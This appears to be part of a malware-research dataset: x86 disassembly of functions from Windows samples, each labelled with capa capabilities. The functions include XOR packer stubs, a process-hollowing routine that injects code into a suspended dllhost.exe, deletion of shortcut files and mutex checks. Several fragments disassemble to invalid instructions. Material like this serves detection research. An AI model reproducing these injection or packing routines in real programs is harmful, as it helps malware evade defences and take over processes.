joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x42e030
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x42e01e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp int.00401219

Function at 0x401e40
Capabilities:
Encode data using xor

Disassembly:
stosd dword es:[edi], eax
mov ebp, esp
sub esp, 0x17
push esi
mov esi, dword [ebp + 0xc]
push esi
invalid

Function at 0x4060c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
in al, 0xd9
sbb al, 0xef
sub al, 0x78
mov eax, 0x202c3763
Function at 0x401020
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x41c], ecx
cmp dword [ebp - 0x41c], 2
jb 0x401095
cmp dword [ebp - 0x41c], 3
jbe 0x40105c
cmp dword [ebp - 0x41c], 6
je 0x40105c
jmp 0x401095
push 0x208
lea edx, [ebp - 0x418]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x401095
push 4
push str.___
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
jne 0x401095
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x401100
Capabilities:
Get disk information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0x80000002
mov dword [ebp - 4], 0x80000001
mov dword [ebp - 0x14], 0
jmp 0x401136
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jae 0x4011a6
lea ecx, [ebp - 0x18]
push ecx
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + edx*4 - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4011a4
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 4
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x1c]
push edx
push 0
push 0
push str.NoDrives
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40119a
cmp dword [ebp - 0x1c], 0
je 0x40119a
mov ecx, dword [ebp - 0xc]
or ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40112d
mov eax, dword [ebp - 0xc]
not eax
and eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x4011c0
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x664
mov eax, dword [ebp + 8]
push eax
push str._s
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x660]
push edx
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x664], eax
cmp dword [ebp - 0x664], 0xffffffff
je 0x4012a5
push 0x4030e4
lea ecx, [ebp - 0x634]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x401235
push 0x4030e8
lea edx, [ebp - 0x634]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x401237
jmp 0x40127c
push str..lnk
lea eax, [ebp - 0x634]
push eax
call fcn.00401000
add esp, 8
test eax, eax
je 0x40127c
lea ecx, [ebp - 0x634]
push ecx
mov edx, dword [ebp + 8]
push edx
push str._s_s
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [ebp - 0x660]
push edx
mov eax, dword [ebp - 0x664]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401209
mov ecx, dword [ebp - 0x664]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret

Function at 0x401340
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x104
lea eax, [ebp - 0x208]
push eax
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x208]
push ecx
push str._s52442rfffd.jpg
lea edx, [ebp - 0x410]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401393
xor al, al
jmp 0x4013cd
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffff
je 0x4013cb
mov edx, dword [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x4013e0
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create thread
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401340
movzx eax, al
test eax, eax
je 0x4014aa
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0x235a
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 8]
jae 0x401463
push str.235235235235
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401458
push 0
push str.4624624626
push str.7247247247_
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push str.245245245245
push str.483828383
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.62427247
push str.246246246
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x40140f
push str.245442455422545
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40148a
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0
push 0
push 0x4012b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xa4cb800
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4014ae
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4016dd
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x40170e
mov eax, dword fs:[4]
mov dword [ebp + 8], eax
mov eax, dword fs:[8]
mov dword [ebp - 4], eax
cmp ebx, dword [ebp - 4]
jb 0x401715
cmp ebx, dword [ebp + 8]
jae 0x401715
xor eax, eax
jmp 0x4018fb
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x401726
xor eax, eax
inc eax
jmp 0x4018fa
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x401738
cmp ecx, edx
jae 0x40179c
cmp dword [eax + 4], 0
je 0x401741
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x40172d
cmp dword [ebp + 8], 0
je 0x40175b
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x40179c
cmp eax, esi
jae 0x40179c
mov ecx, dword [0x407868]
mov esi, ebx
and esi, 0xfffff000
xor eax, eax
test ecx, ecx
jle 0x40177d
cmp dword [eax*4 + 0x407870], esi
je 0x4017a3
inc eax
cmp eax, ecx
jl 0x40176f
lea eax, [ebp + 8]
push eax
push 0x1c
lea eax, [ebp - 0x20]
push eax
push 0
push ebx
or edi, 0xffffffff
push edi
call sub.ntdll.dll_NtQueryVirtualMemory
test eax, eax
jl 0x401813
mov eax, dword [ebp + 8]
jmp 0x401815
xor eax, eax
jmp 0x4018fa
test eax, eax
jle 0x40171e
xor edx, edx
mov ebx, 0x4078b0
inc edx
mov edi, ebx
xchg dword [edi], edx
test edx, edx
jne 0x40171e
cmp dword [eax*4 + 0x407870], esi
je 0x4017f2
lea eax, [ecx - 1]
test eax, eax
jl 0x4017df
cmp dword [eax*4 + 0x407870], esi
je 0x4017db
dec eax
jns 0x4017cf
test eax, eax
jge 0x4017f0
cmp ecx, 0x10
jge 0x4017eb
inc ecx
mov dword [0x407868], ecx
lea eax, [ecx - 1]
jmp 0x4017f2
je 0x40180a
xor edx, edx
test eax, eax
jl 0x40180a
lea ecx, [edx*4 + 0x407870]
mov edi, dword [ecx]
inc edx
cmp edx, eax
mov dword [ecx], esi
mov esi, edi
jle 0x4017f8
xor eax, eax
xchg dword [ebx], eax
jmp 0x40171e
xor eax, eax
test eax, eax
je 0x4018f8
cmp dword [ebp - 8], 0x1000000
jne 0x4018f8
test byte [ebp - 0xc], 0xcc
je 0x40188a
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x4018f8
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x4018f8
cmp word [eax + 0x18], 0x10b
jne 0x4018f8
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x4018f8
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x40188a
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x40188a
test byte [ecx + 0x27], 0x80
jne 0x40179c
xor eax, eax
inc eax
mov ecx, eax
mov edx, 0x4078b0
xchg dword [edx], ecx
test ecx, ecx
jne 0x4018fa
mov ecx, dword [0x407868]
test ecx, ecx
mov edx, ecx
jle 0x4018b9
lea eax, [ecx*4 + 0x40786c]
cmp dword [eax], esi
je 0x4018b9
dec edx
sub eax, 4
test edx, edx
jg 0x4018ad
test edx, edx
jne 0x4018ea
push 0xf
pop ebx
cmp ecx, ebx
jg 0x4018c6
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x4018de
lea eax, [edx*4 + 0x407870]
mov edi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], esi
mov esi, edi
jle 0x4018cc
cmp ecx, 0x10
jge 0x4018ea
inc ecx
mov dword [0x407868], ecx
xor eax, eax
mov ecx, 0x4078b0
xchg dword [ecx], eax
jmp 0x40171e
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
je 0x430072
nop
nop
nop
nop
nop
mov ebx, 0x408e54
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x6e650d6e
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x174c5c6a
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x10001280
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x334
mov eax, dword [0x1001c004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [0x10032dd0]
lea eax, [ebp - 0x50]
push 0x44
push 0
push eax
mov ebx, edx
mov byte [ebp - 0x331], 0
mov esi, ecx
call fcn.10007bd0
add esp, 0xc
mov dword [ebp - 0x50], 0x44
lea eax, [ebp - 0x330]
xorps xmm0, xmm0
movups xmmword [ebp - 0x330], xmm0
push eax
lea eax, [ebp - 0x50]
push eax
push 0
push 0
push 0x8000004
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1000137f
lea eax, [ebp - 0x320]
mov dword [ebp - 0x320], 0x10007
push eax
push dword [ebp - 0x32c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000137f
push 0x40
push 0x3000
push edi
push 0
push dword [ebp - 0x330]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x1000137f
push 0
push edi
push ebx
push esi
push dword [ebp - 0x330]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esi + 0xfd0]
mov dword [ebp - 0x270], eax
lea eax, [ebp - 0x320]
push eax
push dword [ebp - 0x32c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x32c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002b4c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x330]
test ecx, ecx
je 0x10001392
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x331]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10002b4c
mov esp, ebp
pop ebp
ret

Function at 0x100013b0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x44
mov eax, dword [0x1001c004]
xor eax, esp
mov dword [esp + 0x40], eax
push ebx
push esi
push edi
push dword [0x10032dd0]
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10001477
push 0x1666f
push 0x1001c760
push 0x10032dd0
push esi
call fcn.10003b00
test eax, eax
jne 0x10001467
movaps xmm0, xmmword [0x1001a070]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
movups xmmword [esp + 0xc], xmm0
movaps xmm0, xmmword [str.W64dllhost.exe]
movups xmmword [esp + 0x1c], xmm0
movaps xmm0, xmmword [0x1001a080]
movups xmmword [esp + 0x2c], xmm0
movaps xmm0, xmmword [str.m32dllhost.exe]
movups xmmword [esp + 0x3c], xmm0
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
sub esp, 8
lea ecx, [esp + 0x14]
mov edx, esi
test eax, eax
jne 0x10001451
lea ecx, [esp + 0x34]
call fcn.10001280
add esp, 8
mov bl, al
push 0x1f4
call edi
cmp bl, 1
jne 0x10001435
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x4c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10002b4c
mov esp, ebp
pop ebp
ret
Function at 0x100015c0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x48
mov eax, dword [0x1001c004]
xor eax, esp
mov dword [esp + 0x44], eax
lea eax, [esp]
mov dword [esp], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
shrd eax, ecx, 0x14
shr ecx, 0x14
mov ecx, dword [esp + 0x44]
xor ecx, esp
call fcn.10002b4c
mov esp, ebp
pop ebp
ret
Function at 0x100056e0
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.100056f0

Function at 0x10005970
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.10005980

Function at 0x10005cc0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
movzx eax, dl
shr edx, 8
xor edx, dword [eax*4 + 0x10012cd0]
movzx eax, dl
shr edx, 8
xor edx, dword [eax*4 + 0x10012cd0]
movzx ecx, dl
shr edx, 8
xor edx, dword [ecx*4 + 0x10012cd0]
movzx ecx, dl
shr edx, 8
xor edx, dword [ecx*4 + 0x10012cd0]
mov eax, edx
pop ebp
ret
Function at 0x401560
Capabilities:
Accept command line arguments
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
push edi
mov eax, dword [esi]
test eax, eax
je 0x40157b
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [esi], 0
mov edi, dword [ebp + 8]
push 0xa
push 1
push edi
mov dword [esi + 4], 0x401000
mov dword [esi + 8], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x4015f5
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 8], eax
test eax, eax
je 0x4015f5
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test ebx, ebx
je 0x4015f5
test bl, 1
jne 0x4015f5
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x4015f5
shr ebx, 1
cmp word [eax + ebx*2 - 2], 0
jne 0x4015f5
mov dword [esi + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
mov ecx, esi
call fcn.00401610
pop edi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x401610
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
push edi
lea edi, [esi + 0xc]
mov dword [esi + 8], eax
push edi
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [esi], eax
test eax, eax
je 0x4016e9
push ebx
mov ebx, 1
cmp dword [edi], ebx
jle 0x4016d8
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov eax, dword [esi]
push 0x401140
push dword [eax + ebx*4]
call edi
test eax, eax
jne 0x40165f
mov dword [esi + 4], 0x401050
jmp 0x4016ce
mov eax, dword [esi]
push 0x40115c
push dword [eax + ebx*4]
call edi
test eax, eax
jne 0x401675
mov byte [esi + 0x14], 1
jmp 0x4016ce
mov eax, dword [esi]
push 0x401170
push dword [eax + ebx*4]
call edi
test eax, eax
jne 0x40168b
mov byte [esi + 0x15], 1
jmp 0x4016ce
mov eax, dword [esi]
push 0x401190
push dword [eax + ebx*4]
call edi
test eax, eax
jne 0x4016a1
mov byte [esi + 0x16], 1
jmp 0x4016ce
mov eax, dword [esi]
push 0x4011b0
push dword [eax + ebx*4]
call edi
test eax, eax
jne 0x4016b7
mov byte [esi + 0x17], 1
jmp 0x4016ce
mov eax, dword [esi]
push 0x4011d0
push dword [eax + ebx*4]
call edi
test eax, eax
jne 0x4016ce
mov dword [esi + 0x10], 1
inc ebx
cmp ebx, dword [esi + 0xc]
jl 0x401646
cmp byte [esi + 0x16], 0
pop ebx
jne 0x4016e9
cmp byte [esi + 0x15], 0
sete al
mov byte [esi + 0x14], al
xor eax, eax
cmp dword [esi], eax
pop edi
setne al
pop esi
pop ebp
ret 4
Function at 0x401960
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [section..data]
sub esp, 0x208
push ebx
push esi
push edi
test eax, eax
jne 0x4019f1
push 0x206
push eax
lea eax, [ebp - 0x206]
push eax
call fcn.00402e50
mov ebx, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
xor esi, esi
jmp 0x4019a0
xor eax, eax
mov word [ebp - 0x208], ax
lea eax, [ebp - 0x208]
push 0x104
push eax
push dword [esi + 0x4011e4]
call ebx
dec eax
cmp eax, 0x103
ja 0x4019d9
push 8
push 0
lea eax, [ebp - 0x208]
push eax
call edi
mov dword [section..data], eax
jmp 0x4019de
mov eax, dword [section..data]
test eax, eax
jne 0x4019f1
add esi, 4
cmp esi, 0xc
jb 0x4019a0
mov eax, dword [0x40400c]
jmp 0x401a28
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4012b8
push eax
call esi
push 0x4012c4
push dword [section..data]
mov dword [0x404004], eax
call esi
push 0x4012d0
push dword [section..data]
mov dword [0x404008], eax
call esi
mov dword [0x40400c], eax
cmp dword [0x404004], 0
pop edi
pop esi
pop ebx
je 0x401a47
cmp dword [0x404008], 0
je 0x401a47
test eax, eax
je 0x401a47
mov al, 1
mov esp, ebp
pop ebp
ret
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x401dd0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push dword [ebp + 8]
mov esi, dword [ebp + 0xc]
push 0x104
push esi
call fcn.00402f80
add esp, 0xc
test al, al
je 0x401ec8
push 0x4013f0
push 0x104
push esi
call fcn.00402f30
add esp, 0xc
test al, al
je 0x401ec8
push ebx
push 0x104
push esi
call fcn.00402fd0
mov ebx, 0x104
mov dword [ebp - 4], eax
sub ebx, eax
add esp, 8
cmp ebx, 0xb
jae 0x401e34
pop ebx
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov edi, 0xa
shr ecx, 0xc
xor eax, ecx
mov dword [ebp + 0xc], eax
mov eax, dword [ebp - 4]
lea ecx, [esi + eax*2]
mov dword [ebp - 8], ecx
push ebx
push ecx
lea eax, [ebp + 0xc]
dec edi
push 4
push eax
call fcn.00402ec0
add esp, 0x10
test al, al
je 0x401ea5
mov eax, dword [ebp - 4]
add eax, 5
cmp eax, 0x104
jae 0x401e7b
xor ecx, ecx
mov word [esi + eax*2], cx
push 0x401300
push 0x104
push esi
call fcn.00402f30
add esp, 0xc
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x401eae
inc dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
test edi, edi
jne 0x401e53
pop edi
pop ebx
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
push 0x40130c
push 0x104
push esi
call fcn.00402f30
add esp, 0xc
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401ed0
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x874
xor eax, eax
mov word [ebp - 0x460], ax
mov word [ebp - 0x668], ax
lea eax, [ebp - 0x668]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x40209c
cmp eax, 0x104
jae 0x40209c
push ebx
push esi
push edi
xor ebx, ebx
jmp 0x401f20
mov esi, dword [ebx + 0x401324]
xor eax, eax
mov word [ebp - 0x254], ax
mov word [ebp - 0x45c], ax
lea eax, [ebp - 0x668]
push eax
lea eax, [ebp - 0x45c]
push 0x104
push eax
call fcn.00402f80
add esp, 0xc
test al, al
je 0x40208d
push esi
lea eax, [ebp - 0x45c]
push 0x104
push eax
call fcn.00402f30
add esp, 0xc
test al, al
je 0x40208d
push 0x40131c
lea eax, [ebp - 0x45c]
push 0x104
push eax
call fcn.00402f30
add esp, 0xc
test al, al
je 0x40208d
push 0x24c
lea eax, [ebp - 0x24c]
mov dword [ebp - 0x250], 0
push 0
push eax
call fcn.00402e50
add esp, 0xc
lea eax, [ebp - 0x250]
push 0
push 0
push 1
push eax
push 0
lea eax, [ebp - 0x45c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40208d
xor eax, eax
mov word [ebp - 0x66c], ax
mov word [ebp - 0x874], ax
mov edi, edi
test byte [ebp - 0x250], 0x10
je 0x402070
cmp word [ebp - 0x1c], 0
lea esi, [ebp - 0x1c]
lea eax, [ebp - 0x224]
cmove esi, eax
test esi, esi
je 0x402029
cmp word [esi], 0x2e
jne 0x402029
movzx eax, word [esi + 2]
test ax, ax
je 0x402070
cmp eax, 0x2e
jne 0x402029
cmp word [esi + 4], 0
je 0x402070
lea eax, [ebp - 0x668]
push eax
lea eax, [ebp - 0x874]
push 0x104
push eax
call fcn.00402f80
add esp, 0xc
test al, al
je 0x402070
push esi
lea eax, [ebp - 0x874]
push 0x104
push eax
call fcn.00402f30
add esp, 0xc
test al, al
je 0x402070
lea eax, [ebp - 0x874]
push eax
call fcn.004024c0
add esp, 4
lea eax, [ebp - 0x250]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401ff0
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
add ebx, 4
cmp ebx, 8
jb 0x401f20
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4021a0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
xor eax, eax
mov word [ebp - 4], ax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x4021ef
cmp eax, 0x104
jae 0x4021ef
push dword [ebp + 0xc]
lea eax, [ebp - 0x20c]
push eax
call fcn.00401dd0
add esp, 8
test al, al
je 0x4021ef
mov al, 1
mov esp, ebp
pop ebp
ret
push 0x104
lea eax, [ebp - 0x20c]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp eax, 0x104
jae 0x402244
test eax, eax
je 0x402244
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.00402e80
lea ecx, [ebp - 0x20c]
add esp, 8
cmp eax, ecx
je 0x402244
push dword [ebp + 0xc]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x20c]
push eax
call fcn.00401dd0
add esp, 8
mov esp, ebp
pop ebp
ret
xor al, al
mov esp, ebp
pop ebp
ret